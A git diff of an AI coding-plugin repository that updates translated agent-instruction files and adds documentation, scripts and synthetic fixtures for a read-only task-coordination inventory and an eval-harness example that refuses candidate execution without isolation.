this is the release that makes the repo feel coherent again.
|
||||
@@ -1,5 +0,0 @@
|
||||
# X Quote Draft - Eval Skills Post
|
||||
|
||||
Strong eval skills are now built deeper into ECC.
|
||||
|
||||
v1.8.0 expands eval-harness patterns, pass@k guidance, and release-level verification loops so teams can measure reliability, not guess it.
|
||||
@@ -1,5 +0,0 @@
|
||||
# X Quote Draft - Plankton / De-slop Workflow
|
||||
|
||||
The quality gate model matters.
|
||||
|
||||
In v1.8.0 we pushed harder on write-time quality enforcement, deterministic checks, and cleaner loop recovery so agents converge faster with less noise.
|
||||
Binary file not shown.
+2
-2
@@ -1,6 +1,6 @@
|
||||
# Everything Claude Code (ECC) — Agent Talimatları
|
||||
|
||||
Bu, yazılım geliştirme için 68 özel agent, 287 skill, 94 command ve otomatik hook iş akışları sağlayan **üretime hazır bir AI kodlama eklentisidir**.
|
||||
Bu, yazılım geliştirme için 68 özel agent, 293 skill, 94 command ve otomatik hook iş akışları sağlayan **üretime hazır bir AI kodlama eklentisidir**.
|
||||
|
||||
**Sürüm:** 2.2.1
|
||||
|
||||
@@ -142,7 +142,7 @@ Başarısızlık sorunlarını giderin: test izolasyonunu kontrol edin → mockl
|
||||
|
||||
```
|
||||
agents/ — 68 özel subagent
|
||||
skills/ — 287 iş akışı skillleri ve alan bilgisi
|
||||
skills/ — 293 iş akışı skillleri ve alan bilgisi
|
||||
commands/ — 94 slash command
|
||||
hooks/ — Tetikleyici tabanlı otomasyonlar
|
||||
rules/ — Her zaman uyulması gereken kurallar (ortak + dile özel)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Everything Claude Code (ECC) — 智能体指令
|
||||
|
||||
这是一个**生产就绪的 AI 编码插件**,提供 68 个专业代理、287 项技能、94 条命令以及自动化钩子工作流,用于软件开发。
|
||||
这是一个**生产就绪的 AI 编码插件**,提供 68 个专业代理、293 项技能、94 条命令以及自动化钩子工作流,用于软件开发。
|
||||
|
||||
**版本:** 2.2.1
|
||||
|
||||
@@ -147,7 +147,7 @@
|
||||
|
||||
```
|
||||
agents/ — 68 个专业子代理
|
||||
skills/ — 287 个工作流技能和领域知识
|
||||
skills/ — 293 个工作流技能和领域知识
|
||||
commands/ — 94 个斜杠命令
|
||||
hooks/ — 基于触发的自动化
|
||||
rules/ — 始终遵循的指导方针(通用 + 每种语言)
|
||||
|
||||
@@ -260,7 +260,7 @@ Copy-Item -Recurse rules/typescript "$HOME/.claude/rules/"
|
||||
/plugin list ecc@ecc
|
||||
```
|
||||
|
||||
**搞定!** 你现在可以使用 68 个智能体、287 项技能和 94 个命令了。
|
||||
**搞定!** 你现在可以使用 68 个智能体、293 项技能和 94 个命令了。
|
||||
|
||||
***
|
||||
|
||||
@@ -1174,7 +1174,7 @@ opencode
|
||||
|---------|---------------|----------|--------|
|
||||
| 智能体 | PASS: 68 个 | PASS: 12 个 | **Claude Code 领先** |
|
||||
| 命令 | PASS: 94 个 | PASS: 35 个 | **Claude Code 领先** |
|
||||
| 技能 | PASS: 287 项 | PASS: 37 项 | **Claude Code 领先** |
|
||||
| 技能 | PASS: 293 项 | PASS: 37 项 | **Claude Code 领先** |
|
||||
| 钩子 | PASS: 8 种事件类型 | PASS: 11 种事件 | **OpenCode 更多!** |
|
||||
| 规则 | PASS: 29 条 | PASS: 13 条指令 | **Claude Code 领先** |
|
||||
| MCP 服务器 | PASS: 14 个 | PASS: 完整 | **完全对等** |
|
||||
@@ -1282,7 +1282,7 @@ ECC 是**第一个最大化利用每个主要 AI 编码工具的插件**。以
|
||||
|---------|-----------------------|------------|-----------|----------|
|
||||
| **智能体** | 68 | 共享 (AGENTS.md) | 共享 (AGENTS.md) | 12 |
|
||||
| **命令** | 94 | 共享 | 基于指令 | 35 |
|
||||
| **技能** | 287 | 共享 | 10 (原生格式) | 37 |
|
||||
| **技能** | 293 | 共享 | 10 (原生格式) | 37 |
|
||||
| **钩子事件** | 8 种类型 | 15 种类型 | SessionStart(1 种类型) | 11 种类型 |
|
||||
| **钩子脚本** | 20+ 个脚本 | 16 个脚本 (DRY 适配器) | 1 个 SessionStart 引导脚本 | 插件钩子 |
|
||||
| **规则** | 34 (通用 + 语言) | 34 (YAML 前页) | 基于指令 | 13 条指令 |
|
||||
|
||||
@@ -126,11 +126,11 @@ gh api repos/{owner}/{repo}/dependabot/alerts --jq '.[].security_advisory.summar
|
||||
# Check secret scanning alerts
|
||||
gh api repos/{owner}/{repo}/secret-scanning/alerts --jq '.[].state'
|
||||
|
||||
# Review and auto-merge safe dependency bumps
|
||||
# 审查依赖项更新并提交给用户批准,切勿自动合并
|
||||
gh pr list --label "dependencies" --json number,title
|
||||
```
|
||||
|
||||
* 审查并自动合并安全的依赖项更新
|
||||
* 审查安全的依赖项更新并提交给用户批准,切勿自动合并
|
||||
* 立即标记任何严重/高严重性告警
|
||||
* 至少每周检查一次新的 Dependabot 告警
|
||||
|
||||
|
||||
Generated
+2
-2
@@ -1231,9 +1231,9 @@ checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "lru"
|
||||
version = "0.18.0"
|
||||
version = "0.18.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8a860605968fce16869fd239cf4237a82f3ac470723415db603b0e8b6c8d4fb9"
|
||||
checksum = "5d2f2f9b4ba7e6b24d95e7e899329d35be83bcded72c8540cdd5368932d1d90a"
|
||||
dependencies = [
|
||||
"hashbrown 0.17.1",
|
||||
]
|
||||
|
||||
@@ -5214,7 +5214,6 @@ fn build_legacy_migration_audit_report(source: &Path) -> Result<LegacyMigrationA
|
||||
mapping: vec![
|
||||
"ecc graph connector-sync".to_string(),
|
||||
"ecc graph recall".to_string(),
|
||||
"WORKING-CONTEXT.md".to_string(),
|
||||
],
|
||||
notes: vec![
|
||||
"Import only sanitized operator memory into the shared context graph."
|
||||
|
||||
@@ -0,0 +1,150 @@
|
||||
# Read-only coordination inventory
|
||||
|
||||
One local JSON report joins declared task IDs and parent IDs, heartbeat age,
|
||||
optional process metadata, OS RAM, declared resource leases and path/import
|
||||
warnings. It reuses ECC's orchestration status parser and agent-proximity
|
||||
scoring. It does not start a server or send messages.
|
||||
|
||||
From the repository root, with Node 18 or newer and no dependency install:
|
||||
|
||||
```sh
|
||||
node scripts/coordination-inventory.js --manifest examples/coordination-inventory/manifest.json --now 2026-09-08T06:30:00.000Z
|
||||
node scripts/coordination-inventory.js --manifest examples/coordination-inventory/goals.json --now 2026-09-08T06:30:00.000Z
|
||||
node scripts/coordination-inventory.js --coordination /path/to/coordination --live
|
||||
node examples/coordination-inventory/evaluate.js
|
||||
node --test tests/scripts/coordination-inventory.test.js
|
||||
node --test tests/scripts/coordination-goals.test.js
|
||||
node examples/coordination-inventory/benchmark.js
|
||||
```
|
||||
|
||||
The first command uses a **synthetic** fixed-time fixture. It demonstrates a
|
||||
parent/child pair with an import dependency, a stale heartbeat and conflicting
|
||||
browser ownership declarations. The file grants no browser access.
|
||||
|
||||
`--coordination` reads direct child directories with `STATUS.md` or legacy
|
||||
`status.md`. Structured `- State:` and UTC `- Updated:` fields use the existing
|
||||
orchestration parser. Freeform status has unknown state/heartbeat; modification
|
||||
time is reported separately. Symlink task directories and final status files
|
||||
are not followed. Unreadable child directories make discovery partial; an
|
||||
unavailable root is explicit, not an empty successful inventory.
|
||||
|
||||
`--live` samples OS total/free bytes and, for explicitly declared positive PIDs,
|
||||
`ps` PID, parent PID, RSS, elapsed time and state flags on macOS/Linux. It uses a
|
||||
two-second timeout without shell expansion. It never reads argv, environment,
|
||||
transcripts or process executable names. Unsupported platforms and inaccessible
|
||||
process telemetry are explicit. Free memory is not macOS memory pressure or a
|
||||
safe allocation budget. No PID supplied means no process scan. PID identity and
|
||||
PID reuse are not verified. An old heartbeat means inspection is useful; it
|
||||
cannot prove that a process is stuck.
|
||||
|
||||
## Manifest contract
|
||||
|
||||
See `manifest.json`. Version 1 accepts repositories with IDs and source snippet
|
||||
maps, tasks with IDs, optional parent IDs, repository IDs, repo-relative declared
|
||||
paths, optional PIDs/status/UTC heartbeat times, and leases with resource, owner
|
||||
and UTC expiry. Parent IDs can reference an external orchestrator. Repository
|
||||
IDs scope warnings across separate checkouts; use the same logical repo ID for
|
||||
workers editing the same repository. Duplicate task IDs are rejected, including
|
||||
when combining a manifest with discovered status files.
|
||||
|
||||
Bounds: 1 MiB JSON, 64 tasks/repositories, 128 paths per task, 128 snippets per
|
||||
repository, 1 KiB per snippet and 32 KiB snippets total, 128 leases. Snippets can
|
||||
be just import statements plus empty entries for known targets. They are parsed
|
||||
as text, never executed or emitted in the report. An aggregate comparison budget
|
||||
rejects excessive pair/graph work; split large inputs into smaller inventories.
|
||||
Only provide nonsensitive metadata in task IDs, status fields and paths.
|
||||
|
||||
Every result identifies coverage. Paths are declared intentions, not a scan of
|
||||
all current edits. Only supplied relative JS/TS imports resolve. Missing paths
|
||||
or source snippets mean incomplete visibility. Existing control-pane default
|
||||
working sets use committed `base...HEAD` differences and can miss dirty and
|
||||
untracked work; this example does not claim to fix that separate adapter.
|
||||
|
||||
Leases are owner declarations, not enforced locks. Expired entries are visible
|
||||
but excluded from simultaneous-owner conflicts. An unexpired entry does not
|
||||
prove the owner is alive or authorized. The caller supplies those declarations;
|
||||
the inventory never acquires, renews or releases leases. No lease records means
|
||||
ownership is unknown. No pause, steer, kill, settings change or allocation occurs.
|
||||
|
||||
## Declared goals and sessions
|
||||
|
||||
Optional `goals` and `sessions` collections add observations to the v1 manifest.
|
||||
Each accepts at most 64 records, within the same 1 MiB total input budget. IDs
|
||||
are unique within each collection. A goal accepts `id`, optional `taskId`,
|
||||
`kind` (`native` or `unknown`), `status` (`active`, `complete`, `blocked` or
|
||||
`unknown`), and optional UTC `updatedAt`. A session accepts `id`, optional
|
||||
`taskId`/`goalId`, `status` (`open`, `closed` or `unknown`) and optional UTC
|
||||
`updatedAt`. Omitted kind/status defaults to `unknown`; invalid supplied enum
|
||||
values and scalar collection types are rejected. Supplied non-null links must
|
||||
reference a supplied task or goal. These are associations, not exclusive owners;
|
||||
multiple sessions may reference one goal without counting that goal twice.
|
||||
|
||||
`goals.json` is synthetic: three open sessions reference one active goal, one
|
||||
completed goal and one missing goal declaration. At its fixed example time the
|
||||
report has one `freshActiveNativeGoalDeclarations` and one
|
||||
`openSessionsWithoutGoalDeclaration`. An open session linked to a completed goal
|
||||
stays open while the goal stays complete. Neither status overwrites the other.
|
||||
|
||||
Every goal/session record has `authority: "declared-only"`. Even `kind: "native"`
|
||||
is the caller's claim, not a native goal-tool verification. Supply a nonsensitive
|
||||
observation derived from an authorized tool receipt; do not paste raw tool blobs,
|
||||
objective text, transcripts or credentials. Unrecognized fields are omitted from
|
||||
reports. The inventory never reads private thread stores or automatically imports
|
||||
GOAL-STATE files. The caller retains the receipt and its provenance separately.
|
||||
|
||||
`coverage.goals` and `coverage.sessions` distinguish `missing` collections from
|
||||
`declared-only` collections, including explicitly empty arrays. Neither proves
|
||||
global absence. `activity` contains declaration counts by status, native-kind
|
||||
declaration counts, open sessions without goal links and the number of fresh
|
||||
active native-kind declarations. These count records, not task associations or
|
||||
verified running processes. No goal is inferred from a terminal, task `status`,
|
||||
heartbeat, PID, resource lease or status-file modification time.
|
||||
|
||||
Freshness uses the existing five-minute observation threshold: exactly five
|
||||
minutes old is fresh, older is stale, future observations are `clock-skew`, and
|
||||
missing timestamps are unknown. It does not rewrite declared state, and even a
|
||||
fresh active declaration does not prove current execution. Goal/session state
|
||||
never suppresses overlap warnings or expands process probing. Ownership remains
|
||||
in declared paths and resource leases; no pause, message, steer or permission
|
||||
grant is triggered by any count or warning.
|
||||
|
||||
Existing task, warning, resource and lease outputs are unchanged. The new arrays,
|
||||
activity summary and coverage keys are additive v1 output; consumers that reject
|
||||
unknown fields need updating. Older consumers will ignore these declarations.
|
||||
This remains a source-checkout example; these commands/examples are not claimed
|
||||
to be shipped in the npm package.
|
||||
|
||||
## Evaluation and limitations
|
||||
|
||||
Eight authored synthetic pairs compare an exact-path baseline with ECC's
|
||||
existing overlap/import/tree heuristic, using threshold 0.35. Tree proximity
|
||||
alone does not trigger a warning. The score is not a calibrated probability.
|
||||
|
||||
| Detector | True positive | False positive | True negative | False negative |
|
||||
| --- | ---: | ---: | ---: | ---: |
|
||||
| Exact path | 1 | 0 | 4 | 3 |
|
||||
| Path and import | 2 | 1 | 3 | 2 |
|
||||
|
||||
The extra detection is a direct relative import. A commented import produces
|
||||
one false positive; an alias and a cross-artifact relationship are missed. These
|
||||
are explicit characterization cases, not a held-out benchmark. Source parsing
|
||||
is regex-based and incomplete; hashed visual coordinates, semantic/PCA proximity,
|
||||
predictive proximity and 85% conflict reduction are not validated here.
|
||||
|
||||
Next experiment: freeze 20 paired isolated tasks and collect declared intent,
|
||||
actual changed paths and import edges in shadow mode. Have a human label which
|
||||
pairs needed coordination before inspecting scores. Report precision, recall,
|
||||
alerts per pair and p50/p95 overhead against exact-path and isolation-only
|
||||
baselines. After that, randomize warning display and measure conflict/rework
|
||||
rate with the same task mix. No automatic pause until warning usefulness and
|
||||
ownership enforcement are separately established.
|
||||
|
||||
The dependency-free `benchmark.js` characterizes the legacy fixture, declared
|
||||
fixture and 64-goal/64-session limit with five warmup batches and 31 measured
|
||||
batches of ten inventory builds each. It reports median/p95 batch-average
|
||||
milliseconds, sample counts, fixed input hashes and the same eight overlap
|
||||
controls. It excludes process startup and CLI I/O; the declaration-limit workload
|
||||
is not a worst-case graph benchmark. Compare identical input hashes, Node runtime
|
||||
and parameters before/after on the same machine. Historical one-shot elapsed
|
||||
time is not a comparable speedup baseline. No performance improvement or conflict
|
||||
reduction is asserted from merely adding these observations.
|
||||
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
const { performance } = require('node:perf_hooks');
|
||||
const { createHash } = require('node:crypto');
|
||||
const { buildInventory } = require('../../scripts/lib/coordination-inventory');
|
||||
const legacy = require('./manifest.json');
|
||||
const declared = require('./goals.json');
|
||||
const controls = require('./fixtures.json');
|
||||
const now = '2026-09-08T06:30:00.000Z';
|
||||
const parameters = { warmupBatches: 5, samples: 31, iterationsPerSample: 10 };
|
||||
const atLimit = { ...legacy,
|
||||
goals: Array.from({ length: 64 }, (_, i) => ({ id: `g${i}`, taskId: 'a',
|
||||
kind: 'native', status: 'active', updatedAt: now })),
|
||||
sessions: Array.from({ length: 64 }, (_, i) => ({ id: `s${i}`, taskId: 'a',
|
||||
goalId: `g${i}`, status: 'open', updatedAt: now }))
|
||||
};
|
||||
|
||||
function measure(name, manifest) {
|
||||
const batch = () => {
|
||||
for (let i = 0; i < parameters.iterationsPerSample; i += 1) buildInventory(manifest, { now });
|
||||
};
|
||||
for (let i = 0; i < parameters.warmupBatches; i += 1) batch();
|
||||
const samples = Array.from({ length: parameters.samples }, () => {
|
||||
const start = performance.now(); batch();
|
||||
return (performance.now() - start) / parameters.iterationsPerSample;
|
||||
}).sort((a, b) => a - b);
|
||||
const report = buildInventory(manifest, { now });
|
||||
const input = JSON.stringify(manifest);
|
||||
return { name, inputBytes: Buffer.byteLength(input),
|
||||
inputSha256: createHash('sha256').update(input).digest('hex'),
|
||||
medianMs: samples[Math.floor(samples.length / 2)],
|
||||
p95Ms: samples[Math.ceil(samples.length * 0.95) - 1], samplesMs: samples,
|
||||
warnings: report.warnings, activity: report.activity ?? null };
|
||||
}
|
||||
|
||||
const rows = controls.map(control => {
|
||||
const [a, b] = control.manifest.tasks;
|
||||
return { id: control.id, needsReview: control.needsReview,
|
||||
exactPath: a.repoId === b.repoId && a.paths.some(p => b.paths.includes(p)),
|
||||
pathAndImport: buildInventory(control.manifest, { now }).warnings.length > 0 };
|
||||
});
|
||||
const matrix = detector => rows.reduce((result, row) => {
|
||||
const key = row.needsReview ? (row[detector] ? 'truePositive' : 'falseNegative')
|
||||
: (row[detector] ? 'falsePositive' : 'trueNegative');
|
||||
return { ...result, [key]: result[key] + 1 };
|
||||
}, { truePositive: 0, falsePositive: 0, trueNegative: 0, falseNegative: 0 });
|
||||
const report = {
|
||||
version: 1, mode: 'synthetic-local-characterization', node: process.version,
|
||||
platform: process.platform, parameters,
|
||||
workloads: [measure('legacy', legacy), measure('declared', declared), measure('declaration-limit', atLimit)],
|
||||
overlapControls: { dataset: 'eight-authored-synthetic-pairs-v1', rows,
|
||||
baseline: matrix('exactPath'), candidate: matrix('pathAndImport') },
|
||||
limits: ['Batch average buildInventory time excludes process startup and CLI I/O.',
|
||||
'Declaration-limit uses 64 goals and 64 sessions; it is not a maximum graph-work benchmark.',
|
||||
'Timing is machine-dependent; no production conflict reduction or 85% improvement claim.',
|
||||
'Declarations are caller input, not verified native goal or session execution.']
|
||||
};
|
||||
process.stdout.write(`${JSON.stringify(report, null, 2)}\n`);
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
const { performance } = require('node:perf_hooks');
|
||||
const { buildInventory } = require('../../scripts/lib/coordination-inventory');
|
||||
const cases = require('./fixtures.json');
|
||||
function matrix() { return { truePositive: 0, falsePositive: 0, trueNegative: 0, falseNegative: 0 }; }
|
||||
function add(m, expected, actual) { m[expected ? actual ? 'truePositive' : 'falseNegative' : actual ? 'falsePositive' : 'trueNegative'] += 1; }
|
||||
const baseline = matrix(); const candidate = matrix();
|
||||
const started = performance.now();
|
||||
const rows = cases.map(c => {
|
||||
const report = buildInventory(c.manifest, { now: '2026-09-08T06:30:00.000Z' });
|
||||
const [a,b] = c.manifest.tasks;
|
||||
const exactPath = a.repoId === b.repoId && a.paths.some(p => b.paths.includes(p));
|
||||
const warning = report.warnings.length > 0;
|
||||
add(baseline,c.needsReview,exactPath); add(candidate,c.needsReview,warning);
|
||||
return { id: c.id, needsReview: c.needsReview, exactPath, pathAndImport: warning };
|
||||
});
|
||||
process.stdout.write(`${JSON.stringify({ version:1, dataset:'eight-authored-synthetic-pairs-v1', rows, baseline, candidate,
|
||||
elapsedMs: performance.now()-started, conclusion:'Fixture detection only. Not a measured reduction in conflicts or validation of semantic/PCA proximity.' },null,2)}\n`);
|
||||
@@ -0,0 +1,255 @@
|
||||
[
|
||||
{
|
||||
"id": "same-path",
|
||||
"needsReview": true,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "direct-relative-import",
|
||||
"needsReview": true,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {
|
||||
"src/a.js": "require('../lib/b')",
|
||||
"lib/b.js": ""
|
||||
}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"lib/b.js"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "independent",
|
||||
"needsReview": false,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"docs/guide.md"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "same-directory",
|
||||
"needsReview": false,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/b.js"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "separate-repositories",
|
||||
"needsReview": false,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {}
|
||||
},
|
||||
{
|
||||
"id": "other",
|
||||
"sources": {}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "other",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "comment-false-positive",
|
||||
"needsReview": false,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {
|
||||
"src/a.js": "// require('../lib/b')",
|
||||
"lib/b.js": ""
|
||||
}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"lib/b.js"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "alias-false-negative",
|
||||
"needsReview": true,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {
|
||||
"src/a.js": "import b from '@lib/b'",
|
||||
"lib/b.js": ""
|
||||
}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"lib/b.js"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "cross-artifact-false-negative",
|
||||
"needsReview": true,
|
||||
"manifest": {
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"specs/login.md"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"ui/login.html"
|
||||
]
|
||||
}
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,18 @@
|
||||
{
|
||||
"version": 1,
|
||||
"repositories": [{ "id": "repo", "sources": { "src/a.js": "require('../lib/b')", "lib/b.js": "" } }],
|
||||
"tasks": [
|
||||
{ "id": "a", "repoId": "repo", "paths": ["src/a.js"], "status": "running" },
|
||||
{ "id": "b", "repoId": "repo", "paths": ["lib/b.js"], "parentId": "a" }
|
||||
],
|
||||
"goals": [
|
||||
{ "id": "goal-active", "taskId": "a", "kind": "native", "status": "active", "updatedAt": "2026-09-08T06:30:00.000Z" },
|
||||
{ "id": "goal-complete", "taskId": "b", "kind": "native", "status": "complete", "updatedAt": "2026-09-08T06:30:00.000Z" }
|
||||
],
|
||||
"sessions": [
|
||||
{ "id": "session-active", "taskId": "a", "goalId": "goal-active", "status": "open", "updatedAt": "2026-09-08T06:30:00.000Z" },
|
||||
{ "id": "session-open-complete", "taskId": "b", "goalId": "goal-complete", "status": "open" },
|
||||
{ "id": "terminal-only", "status": "open" }
|
||||
],
|
||||
"leases": []
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"version": 1,
|
||||
"repositories": [
|
||||
{
|
||||
"id": "repo",
|
||||
"sources": {
|
||||
"src/a.js": "require('../lib/b')",
|
||||
"lib/b.js": ""
|
||||
}
|
||||
}
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"id": "a",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"src/a.js"
|
||||
],
|
||||
"heartbeatAt": "2026-09-08T06:00:00Z"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"repoId": "repo",
|
||||
"paths": [
|
||||
"lib/b.js"
|
||||
],
|
||||
"parentId": "a"
|
||||
}
|
||||
],
|
||||
"leases": [
|
||||
{
|
||||
"resource": "browser:chrome",
|
||||
"owner": "root",
|
||||
"expiresAt": "2026-09-08T07:00:00Z"
|
||||
},
|
||||
{
|
||||
"resource": "browser:chrome",
|
||||
"owner": "worker",
|
||||
"expiresAt": "2026-09-08T07:00:00Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
# Eval Harness Example
|
||||
|
||||
```sh
|
||||
node scripts/eval-harness.js example
|
||||
# Keep the temporary artifacts for inspection:
|
||||
node examples/eval-harness/run-example.js --keep
|
||||
```
|
||||
|
||||
The example verifies that candidate execution is unavailable, inspects source
|
||||
without loading it, records and replays a locally declared fixture function,
|
||||
and builds an offline capsule receipt. It changes a journal value in a copy
|
||||
and checks that verification detects the changed entry. All five capsule
|
||||
lineages describe these observations; none represent a scored candidate run.
|
||||
|
||||
**Supported candidate execution backends: none.** `gate run`, `runGate`,
|
||||
`runVariant`, `gate-child.js`, and the retired `effect-fence.js` preload refuse
|
||||
with `gate.isolation_required`. No `trusted_local`, `--trusted-local`, or
|
||||
caller-supplied isolation claim enables execution. The example emits no gate
|
||||
receipt, score, or promotion verdict.
|
||||
|
||||
With `--keep`, inspect `capsule/journal.ndjson`, `capsule/projection.json`,
|
||||
`fixtures/`, and `bundle/receipt.json` in the printed work directory.
|
||||
|
||||
| Path | Purpose |
|
||||
| --- | --- |
|
||||
| `taskset.json` | Twelve slugify tasks for static inspection, three marked held out |
|
||||
| `gate.config.json` | Preserved gate input example; `gate run` currently refuses it |
|
||||
| `variants/baseline` | Known-weak source fixture; never executed by this example |
|
||||
| `variants/candidate` | Honest source fixture; never executed by this example |
|
||||
| `variants/reward-hack` | Source fixture with visible syntactic warnings |
|
||||
|
||||
See `docs/architecture/eval-harness-frameworks.md` for the OS containment
|
||||
requirements and the limits of static inspection and receipt verification.
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"taskset": "taskset.json",
|
||||
"baseline": "variants/baseline",
|
||||
"candidate": "variants/candidate",
|
||||
"max_effect_class": "SE1",
|
||||
"thresholds": {
|
||||
"smoke_tasks": 3,
|
||||
"min_pass_rate": 0.9,
|
||||
"max_regressions": 0,
|
||||
"timeout_ms": 20000
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* End-to-end demonstration of the eval-harness frameworks.
|
||||
*
|
||||
* node examples/eval-harness/run-example.js [--keep]
|
||||
*
|
||||
* Demonstrates execution refusal, static inspection, fixture replay and
|
||||
* capsule receipt verification. No candidate code is executed or promoted.
|
||||
* Temporary files and locally declared fixture functions are used offline.
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
const harness = require('../../scripts/lib/eval-harness');
|
||||
|
||||
const here = __dirname;
|
||||
const keep = process.argv.includes('--keep');
|
||||
const work = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-eval-harness-example-'));
|
||||
const failures = [];
|
||||
|
||||
function step(title, fn) {
|
||||
process.stdout.write(`\n== ${title}\n`);
|
||||
try {
|
||||
fn();
|
||||
} catch (error) {
|
||||
failures.push(`${title}: ${error.message}`);
|
||||
process.stdout.write(` FAILED: ${error.message}\n`);
|
||||
}
|
||||
}
|
||||
|
||||
function expect(condition, message) {
|
||||
if (!condition) {
|
||||
throw new Error(message);
|
||||
}
|
||||
process.stdout.write(` ok ${message}\n`);
|
||||
}
|
||||
|
||||
const config = JSON.parse(fs.readFileSync(path.join(here, 'gate.config.json'), 'utf8'));
|
||||
const resolve = (relative) => path.join(here, relative);
|
||||
|
||||
const capsuleDir = path.join(work, 'capsule');
|
||||
const capsule = harness.capsule.Capsule.create(capsuleDir, {
|
||||
harness_version: 'ecc-example/1',
|
||||
task_family: 'slugify',
|
||||
});
|
||||
|
||||
step('Gate: execution unavailable without a verified OS backend', () => {
|
||||
const gateWork = path.join(work, 'gate-candidate');
|
||||
let code;
|
||||
try {
|
||||
harness.gate.runGate({
|
||||
taskset: resolve(config.taskset), baseline: resolve(config.baseline),
|
||||
candidate: resolve(config.candidate), work_dir: gateWork, capsule,
|
||||
});
|
||||
} catch (error) { code = error.code; }
|
||||
expect(code === 'gate.isolation_required', 'gate refuses before executing any variant');
|
||||
expect(!fs.existsSync(gateWork), 'no gate work directory or promotion receipt was created');
|
||||
